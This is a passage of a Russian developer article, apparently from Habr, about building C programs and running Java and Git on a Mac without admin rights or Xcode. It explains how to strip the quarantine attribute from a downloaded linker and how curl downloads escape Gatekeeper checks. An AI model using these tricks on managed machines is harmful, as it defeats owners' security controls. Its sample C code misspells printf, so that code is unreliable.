\u0442\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0439 \u043a\u043e\u0434 \u043d\u0430 C:<\/p>\n<pre><code class=\"cpp\">#include &lt;stdio.h&gt;  int main() {     prinltlf(\"\u0419\u043e-\u0445\u043e-\u0445\u043e \u0438 \u043f\u0440\u043e\u0449\u0430\u0439 XCode!\\n\");     return 0; }<\/code><\/pre>\n<p>C\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0444\u0430\u0439\u043b \u043a\u0430\u043a <em>hello.c<\/em> \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <em>~\/work\/testproj<\/em>.<\/p>\n<p>\u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c:<\/p>\n<pre><code class=\"bash\">clang hello.c  -I .\/MacOSX13.3.sdk\/usr\/include  -L .\/MacOSX13.3.sdk\/usr\/lib -D __i386__ -fuse-ld=lld -o hello<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430\u00a0\u0444\u043b\u0430\u0433 <em>-fuse-ld=lld<\/em>\u00a0\u2014 \u044d\u0442\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u0438\u0435 \u043d\u0430\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u043e\u0433\u043e \u0441\u00a0\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440\u043e\u043c clang \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e ld, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u00a0\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 <em>binutils<\/em>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f (\u0441\u044e\u0440\u043f\u0440\u0438\u0437) \u0441\u0442\u0430\u0432\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u043c\u0435\u0441\u0442\u0435 \u0441\u00a0XCode.<\/p>\n<p>\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 <em>__i386__<\/em> \u0442\u0430\u043a\u0436\u0435 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u00a0\u043c\u0430\u043a\u0440\u043e\u0441\u0430\u0445 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u0447\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0431\u0435\u0437 \u0435\u0435\u00a0\u0443\u043a\u0430\u0437\u0430\u043d\u0438\u044f \u0441\u0431\u043e\u0440\u043a\u0430 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0441\u044f \u0441 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438.<\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a:<\/p>\n<pre><code class=\"bash\">.\/hello<\/code><\/pre>\n<p>\u0423\u0431\u0435\u0436\u0434\u0430\u0435\u043c\u0441\u044f \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3b0\/9c0\/cbd\/3b09c0cbdfb10b30919068d054016162.png\" width=\"947\" height=\"455\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3b0\/9c0\/cbd\/3b09c0cbdfb10b30919068d054016162.png\"\/><\/figure>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0443\u00a0\u043c\u0435\u043d\u044f \u0432\u0441\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u043e\u0441\u044c, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u043f\u043e\u043f\u0430\u0434\u0430\u043b \u043d\u0430\u00a0\u0441\u0431\u043e\u0440\u043a\u0438 <em>clang<\/em> \u0441\u00a0\u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u043b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a\u0430\u00a0\u2014 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u043e\u0439 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f x86_64 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b \u0438\u0437\u00a0<a href=\"https:\/\/github.com\/keith\/ld64.lld\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f<\/a>, \u0441\u043d\u044f\u0442\u044c \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043a\u0430\u0440\u0430\u043d\u0442\u0438\u043d\u0430, \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u0438\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438 \u0441\u0431\u043e\u0440\u043a\u0435:<\/p>\n<pre><code>clang hello.c  -I .\/MacOSX13.3.sdk\/usr\/include  -L .\/MacOSX13.3.sdk\/usr\/lib -D __i386__ -fuse-ld=lld --ld-path=~\/Downloads\/ld64.lld -o hello<\/code><\/pre>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0447\u0442\u043e \u043a\u043b\u044e\u0447 -fuse-ld=lld \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043f\u0443\u0442\u044c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0435\u0433\u043e \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0443\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447:<\/p>\n<pre><code class=\"bash\">--ld-path=~\/Downloads\/ld64.lld<\/code><\/pre>\n<p>\u041d\u0430 \u0441\u043b\u0430\u0434\u043a\u043e\u0435 \u0435\u0449\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.<\/p>\n<h3>Java<\/h3>\n<p>\u041a\u0443\u0434\u0430 \u0436\u0435 \u0431\u0435\u0437 \u043d\u0435\u0435 \u0440\u043e\u0434\u0438\u043c\u043e\u0439.<\/p>\n<p>\u0420\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043d\u0435 \u0432\u044b\u0439\u0434\u0435\u0442, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0432\u0438\u0434\u0435 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430, \u0442\u0440\u0435\u0431\u0443\u044e\u0449\u0435\u0433\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.<\/p>\n<p>\u0417\u0430\u0442\u043e \u0435\u0441\u0442\u044c OpenJDK \u0438 \u0433\u043e\u0442\u043e\u0432\u044b\u0435 <a href=\"https:\/\/jdk.java.net\/21\/\" rel=\"noopener noreferrer nofollow\">\u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u0434\u043b\u044f MacOS<\/a>:<\/p>\n<pre><code class=\"bash\"> curl https:\/\/download.java.net\/java\/GA\/jdk21.0.2\/f2283984656d49d69e91c558476027ac\/13\/GPL\/openjdk-21.0.2_macos-x64_bin.tar.gz --output jdk.tar.gz<\/code><\/pre>\n<p>\u042f \u0436\u0435 \u043d\u0435 \u0437\u0430\u0431\u044b\u043b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0447\u0442\u043e \u0432 MacOS \u043f\u043e-\u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0435\u0441\u0442\u044c \u0443\u0442\u0438\u043b\u0438\u0442\u0430 <a href=\"https:\/\/curl.se\/\" rel=\"noopener noreferrer nofollow\">curl<\/a>?<\/p>\n<p>\u0422\u043e\u0433\u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u043b\u044e \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0444\u0430\u043a\u0442:<\/p>\n<blockquote>\n<p>\u0441\u043a\u0430\u0447\u0430\u043d\u043d\u044b\u0435 \u0441\u00a0\u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e curl \u0444\u0430\u0439\u043b\u044b <strong>\u043d\u0435\u00a0\u0438\u043c\u0435\u044e\u0442<\/strong> \u0430\u0442\u0440\u0438\u0431\u0443\u0442 \u043a\u0430\u0440\u0430\u043d\u0442\u0438\u043d\u0430:<\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e2f\/578\/0a3\/e2f5780a300c7c4af997b9315aedd172.png\" width=\"697\" height=\"315\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e2f\/578\/0a3\/e2f5780a300c7c4af997b9315aedd172.png\"\/><\/figure>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0441\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0438 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c, \u043f\u043e\u043a\u0430 Gatekeeper \u043d\u0435 \u0432\u0438\u0434\u0438\u0442:<\/p>\n<pre><code>tar xvzf ~\/jdk.tar.gz      .\/jdk-21.0.2.jdk\/Contents\/Home\/bin\/java --version<\/code><\/pre>\n<p>\u0414\u043e\u043b\u0436\u043d\u0430 \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u0438\u0442\u044c\u0441\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u0431\u043e\u0440\u043a\u0438:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ea2\/aa6\/40f\/ea2aa640f267aed1c878d2c25b542334.png\" width=\"697\" height=\"315\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ea2\/aa6\/40f\/ea2aa640f267aed1c878d2c25b542334.png\"\/><\/figure>\n<p>\u0418 \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u043f\u043e\u043a\u043e\u0439\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u0441 \u043b\u044e\u0431\u044b\u043c\u0438 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u0431\u0435\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439.<\/p>\n<h3>Git<\/h3>\n<p>\u041d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u0439 Git \u0432 MacOS \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 XCode, \u0435\u0433\u043e \u043d\u0435\u0445\u0432\u0430\u0442\u043a\u0430 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u043e\u0447\u0435\u043d\u044c \u0431\u044b\u0441\u0442\u0440\u043e \u0441\u0442\u0430\u043d\u0435\u0442 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e\u0439 \u0438 \u043d\u0430\u0447\u043d\u0435\u0442 \u043c\u0435\u0448\u0430\u0442\u044c \u0436\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u0438\u0447\u043d\u044b\u043c \u0434\u0436\u0435\u043d\u0442\u0435\u043b\u044c\u043c\u0435\u043d\u0430\u043c.<\/p>\n<blockquote>\n<p>\u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e \u0432\u0441\u0435 \u0436\u0435 \u0435\u0441\u0442\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u0432\u0438\u0434\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 Git \u043d\u0430.. Javascript.<\/p>\n<\/blockquote>\n<p>\u041d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u044d\u0442\u0430 \u0448\u0442\u0443\u043a\u0430 <a href=\"https:\/\/isomorphic-git.org\/\" rel=\"noopener noreferrer nofollow\">isomorphic\u2011git<\/a>, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a\u00a0\u0432\u00a0\u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0435 \u0442\u0430\u043a \u0438 \u0432\u00a0Node.js \u0438 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430\u00a0\u0432\u0441\u044e \u0441\u0432\u043e\u044e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u00ab\u0435\u0440\u0435\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c\u00bb\u00a0\u2014 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u0441\u043d\u043e\u0441\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0445\u043e\u0442\u044f\u2011\u0431\u044b \u0434\u043b\u044f\u00a0\u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0438\u0445 \u0437\u0430\u0434\u0430\u0447 \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430.<\/p>\n<p>\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0443\u043c\u0435\u0435\u0442\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e npm:<\/p>\n<pre><code class=\"bash\">npm i -g isomorphic-git<\/code><\/pre>\n<p>\u041f\u0440\u0438\u043c\u0435\u0440 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f:<\/p>\n<pre><code class=\"bash\">isogit clone --url=https:\/\/github.com\/isomorphic-git\/isomorphic-git --depth=1 --singleBranch<\/code><\/pre>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u0438\u0442\u0435 \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0442\u0430\u0440\u043e\u0433\u043e \u0434\u043e\u0431\u0440\u043e\u0433\u043e <em>git<\/em> \u0442\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442 <em>isogit<\/em>, \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c\u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438.<\/p>\n<h3>\u042d\u043f\u0438\u043b\u043e\u0433<\/h3>\n<p>\u0414\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0446\u0435\u043b\u044f\u0445, \u043d\u0435\u00a0\u043d\u0430\u0434\u043e \u043f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430 \u0432\u043e\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u043c\u0430\u043a\u0438 \u0438 \u043d\u0430\u0441\u0438\u043b\u043e\u0432\u0430\u0442\u044c \u0438\u0445\u00a0\u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0435\u0432\u00a0\u2014 \u0434\u043e\u0440\u043e\u0436\u0435 \u0432\u044b\u0439\u0434\u0435\u0442 \u0440\u0430\u0437\u0433\u0440\u0435\u0431\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f. <\/p>\n<p>\u042d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u044f \u0432\u0441\u0435\u0433\u043e\u00a0\u043b\u0438\u0448\u044c \u0445\u043e\u0442\u0435\u043b \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u043e\u0439 \u0430\u0443\u0434\u0438\u0442\u043e\u0440\u0438\u0438, \u0447\u0442\u043e\u00a0\u043f\u043e\u0434\u00a0\u043a\u0430\u043f\u043e\u0442\u043e\u043c \u0438\u0445 \u043b\u044e\u0431\u0438\u043c\u043e\u0433\u043e \u0433\u043b\u0430\u043c\u0443\u0440\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0435\u0431\u0440\u0438\u0441\u0442\u043e\u0433\u043e \u0434\u0435\u0432\u0430\u0439\u0441\u0430 \u0441\u00a0\u044f\u0431\u043b\u043e\u043a\u043e\u043c \u043d\u0430\u00a0\u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u0441\u043b\u043e\u0436\u043d\u0430\u044f \u0438 \u043d\u0430\u0432\u043e\u0440\u043e\u0447\u0435\u043d\u043d\u0430\u044f Unix\u2011\u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043b\u0435\u0433\u043a\u043e \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u043c\u043e\u0436\u0435\u0442\u00a0\u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043a\u0430\u043a\u00a0\u043f\u0440\u043e\u0442\u0438\u0432 \u0441\u0432\u043e\u0435\u0433\u043e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0442\u0430\u043a \u0438 \u0434\u043b\u044f\u00a0\u043d\u0435\u00a0\u0441\u043e\u0432\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0445 \u0434\u0435\u043b (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 CI \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0432\u00a0\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u043c MacOS).<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043d\u0430\u0434\u0435\u044e\u0441\u044c \u0447\u0442\u043e\u00a0\u0441\u0442\u0430\u0442\u044c\u044f \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0445\u043e\u0442\u044f\u2011\u0431\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c MacOS\u2011\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c \u0432\u00a0\u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0438 \u043a\u0443\u0434\u0430 \u0438\u043c\u0435\u043d\u043d\u043e \u043e\u043d\u0438 \u043f\u043e\u043f\u0430\u043b\u0438 \u0438 \u0447\u0442\u043e\u00a0\u0438\u0445 \u043b\u044e\u0431\u0438\u043c\u0430\u044f \u0441\u0435\u0440\u0435\u0431\u0440\u0438\u0441\u0442\u0430\u044f \u041e\u0421 \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u043b\u043e\u0436\u043d\u0435\u0435 \u0447\u0435\u043c \u043a\u0430\u0436\u0435\u0442\u0441\u044f, \u0430\u00a0\u044f\u00a0\u043b\u0438\u0447\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435\u00a0\u0443\u0441\u043b\u044b\u0448\u0443 \u043d\u0430\u00a0\u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0430\u043a\u0440\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u00ab\u0430 \u0443\u00a0\u043c\u0435\u043d\u044f \u0432\u0441\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442.\u00bb<\/p>\n<p><strong>P.S.<\/strong><\/p>\n<p>\u042d\u0442\u043e \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043e\u0442\u0446\u0435\u0437\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0438 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u0442\u0430\u0442\u044c\u0438, <a href=\"https:\/\/blog.0x08.ru\/macos-development-without-xcode\" rel=\"noopener noreferrer nofollow\">\u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b<\/a> \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0432\u00a0\u043d\u0430\u0448\u0435\u043c \u0431\u043b\u043e\u0433\u0435.<\/p>\n<h3>0x08 Software<\/h3>\n<p>\u041c\u044b \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u0435\u0442\u0435\u0440\u0430\u043d\u043e\u0432 \u0418\u0422\u2011\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438, \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0438 \u0434\u043e\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c \u0441\u0430\u043c\u043e\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u043e\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0435, \u043d\u0430\u0448 \u0441\u043e\u0444\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0431\u0438\u0437\u043d\u0435\u0441\u2011\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u043d\u0430\u00a0\u0442\u0440\u0435\u0445 \u043a\u043e\u043d\u0442\u0438\u043d\u0435\u043d\u0442\u0430\u0445, \u0432\u00a0\u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0437\u043d\u044b\u0445 \u043e\u0442\u0440\u0430\u0441\u043b\u044f\u0445 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.<\/p>\n<p>\u041e\u0436\u0438\u0432\u043b\u044f\u0435\u043c\u00a0<a href=\"https:\/\/blog.0x08.ru\/xerox-alto-bcpl-hello-world\" rel=\"noopener noreferrer nofollow\">\u0434\u0430\u0432\u043d\u043e \u0443\u043c\u0435\u0440\u0448\u0435\u0435<\/a>,\u00a0<a href=\"https:\/\/blog.0x08.ru\/running-from-websphere-esb\" rel=\"noopener noreferrer nofollow\">\u0447\u0438\u043d\u0438\u043c \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435\u00a0\u0440\u0430\u0431\u043e\u0442\u0430\u0432\u0448\u0435\u0435<\/a>\u00a0\u0438 \u0441\u043e\u0437\u0434\u0430\u0435\u043c\u00a0<a href=\"https:\/\/blog.0x08.ru\/call-webservice-from-dos\" rel=\"noopener noreferrer nofollow\">\u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0435<\/a>\u00a0\u2014 \u0437\u0430\u0442\u0435\u043c \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043e\u0431\u00a0\u044d\u0442\u043e\u043c \u0432\u00a0\u0441\u0432\u043e\u0438\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445.<\/p>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/839284\/\"> https:\/\/habr.com\/ru\/articles\/839284\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0420\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u0438 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0442\u0432\u043e\u0440\u0438\u0442\u044c \u0441 iMac \u0431\u0435\u0437 \u043f\u0440\u0430\u0432 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438\u00a0\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438.  <\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u041d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442, \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0442\u0435\u0445\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438 \u0438 